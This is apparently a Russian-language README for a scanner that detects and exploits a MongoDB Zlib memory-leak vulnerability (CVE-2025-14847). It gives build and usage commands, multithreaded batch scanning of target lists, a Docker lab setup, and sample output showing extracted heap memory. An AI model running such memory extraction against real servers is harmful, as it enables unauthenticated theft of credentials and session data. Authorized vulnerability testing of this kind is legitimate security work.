Инструмент обнаружения уязвимости MongoDB CVE-2025-14847

Инструмент для обнаружения утечки памяти в MongoDB (CVE-2025-14847)

⚠️ Важное примечание: Этот инструмент предназначен только для авторизованного тестирования безопасности и оценки уязвимостей. Несанкционированное использование может нарушать закон.

🔍 Описание уязвимости

CVE-2025-14847 — критическая утечка памяти в обработке протокола сжатия Zlib в MongoDB. Злоумышленник может отправить специально сформированный сжатый пакет, в результате чего MongoDB возвращает неинициализированные данные из кучи, которые могут содержать конфиденциальную информацию.

Затронутые версии

Диапазон версий	Статус
8.2.0 – 8.2.2	⚠️ Затронуто
8.0.0 – 8.0.16	⚠️ Затронуто
7.0.0 – 7.0.27	⚠️ Затронуто
6.0.0 – 6.0.26	⚠️ Затронуто
5.0.0 – 5.0.31	⚠️ Затронуто
4.4.0 – 4.4.29	⚠️ Затронуто
4.2.x все версии	⚠️ Затронуто
4.0.x все версии	⚠️ Затронуто
3.6.x все версии	⚠️ Затронуто

Опасность уязвимости

🔴 Серьёзность: CVSS 8.7 (высокая)
💾 Утечка конфиденциальных данных из кучи
🔑 Может содержать пароли, токены сессий, ключи шифрования и т. д.
🚫 Не требует аутентификации
🌐 Удалённая эксплуатация

✨ Возможности

✅ Интеллектуальное обнаружение – автоматическое определение версии MongoDB и проверка уязвимости
✅ Двойная проверка – проверка версии → проверка поддержки Zlib → извлечение утечки памяти
✅ Сканирование одной цели – быстрая проверка одного экземпляра MongoDB
✅ Пакетное сканирование – чтение списка целей из файла
✅ Параллельное сканирование – поддержка многопоточности для повышения эффективности
✅ Вывод в реальном времени – отображение утёкших данных памяти
✅ Экспорт результатов – автоматическое сохранение уязвимых целей в файл
✅ Лаконичный вывод – единый формат вывода, чёткий и понятный

🚀 Установка

Способ 1: Сборка из исходников

# Клонирование репозитория
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Установка зависимостей
go mod download

# Сборка
go build -o mongodb-scanner main.go

# Запуск
./mongodb-scanner -t 127.0.0.1:27017

Способ 2: Запуск напрямую

go run main.go -t 127.0.0.1:27017

Способ 3: Скачать предварительно собранную версию

Перейдите на страницу Releases и загрузите подходящую версию для вашей системы.

📖 Использование

Базовая команда

# Сканирование одной цели
./mongodb-scanner -t 127.0.0.1:27017

# Пакетное сканирование из файла
./mongodb-scanner -f targets.txt

# Пакетное сканирование (20 потоков)
./mongodb-scanner -f targets.txt -c 20

# Сканирование с сохранением уязвимых целей
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Пользовательский диапазон смещений (более быстрое или более глубокое сканирование)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Параметры командной строки

Параметр	Описание	Значение по умолчанию
`-t <цель>`	Одиночная цель (например: 127.0.0.1:27017)	–
`-f <файл>`	Файл с целями (по одной на строку)	–
`-c <число>`	Количество потоков	10
`-timeout <время>`	Время ожидания соединения	2s
`-o <файл>`	Выходной файл (сохраняет уязвимые цели)	–
`--min-offset <число>`	Минимальное смещение длины документа	20
`--max-offset <число>`	Максимальное смещение длины документа	8192

Формат файла целей

Создайте файл targets.txt:

# Список целей MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# Если порт не указан, по умолчанию используется 27017
192.168.1.101

🐳 Настройка тестовой среды

Для безопасного тестирования этого инструмента рекомендуется использовать Docker для создания локальной тестовой среды.

Быстрый запуск уязвимой MongoDB

# Запуск MongoDB 6.0.14 (уязвимая версия) с включённым сжатием Zlib
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Проверка состояния контейнера
docker ps

# Тестирование уязвимости
./mongodb-scanner -t 127.0.0.1:27017

Использование Docker Compose

Создайте файл docker-compose.yml:

version: '3.8'

services:
  # Уязвимая версия (с Zlib)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Исправленная версия (для сравнения)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Запуск тестовой среды:

# Запуск всех контейнеров
docker-compose up -d

# Тестирование уязвимой версии
./mongodb-scanner -t 127.0.0.1:27017

# Тестирование исправленной версии
./mongodb-scanner -t 127.0.0.1:27018

# Остановка и очистка
docker-compose down -v

Очистка тестовой среды

# Остановка и удаление контейнера
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Очистка томов
docker volume prune -f

📊 Примеры вывода

Описание формата вывода

Инструмент использует единые префиксы для маркировки вывода:

[*] – информационный вывод (цель, версия, конфигурация и т. д.)
[+] – успех / наличие уязвимости / извлечение данных
[-] – неудача / безопасно / уязвимость отсутствует
[!] – предупреждение / важная информация

Сканирование одной цели – уязвимость найдена

╔══════════════════════════════════════════════════════════════╗
║  Инструмент обнаружения уязвимости MongoDB CVE-2025-14847   ║
╚══════════════════════════════════════════════════════════════╝
⚠️  Только для авторизованного тестирования | Несанкционированное тестирование может быть незаконным

[*] Цели: 1 | Потоки: 10 | Тайм-аут: 2s | Смещение: 20-1000
[*] Начало сканирования...

[*] Цель: 127.0.0.1:27017
[*] Версия: 6.0.14
[+] Уязвимая версия: да
[+] Сжатие Zlib: включено
[!] Уязвимость эксплуатируема, начинаем извлечение памяти...
[+] Смещение=229 Длина=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 – уязвимость эксплуатируема (v6.0.14) – 3468ms
[+] Успешно извлечено 1 фрагмент данных памяти:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Сканирование завершено | Всего: 1 | Эксплуатируемо: 1 | Безопасно: 0 | Затрачено: 3.4s
======================================================================

Сканирование одной цели – версия безопасна

[*] Цель: 127.0.0.1:27018
[*] Версия: 6.0.27
[-] Уязвимая версия: нет

[-] 127.0.0.1:27018 – версия безопасна (v6.0.27) – 156ms

======================================================================
[*] Сканирование завершено | Всего: 1 | Эксплуатируемо: 0 | Безопасно: 1 | Затрачено: 0.2s
======================================================================

Сканирование одной цели – Zlib не включён

[*] Цель: 127.0.0.1:27017
[*] Версия: 6.0.14
[+] Уязвимая версия: да
[-] Сжатие Zlib: не включено

[-] 127.0.0.1:27017 – Zlib не включён (v6.0.14) – 234ms

CVE-2025-14847

Популярное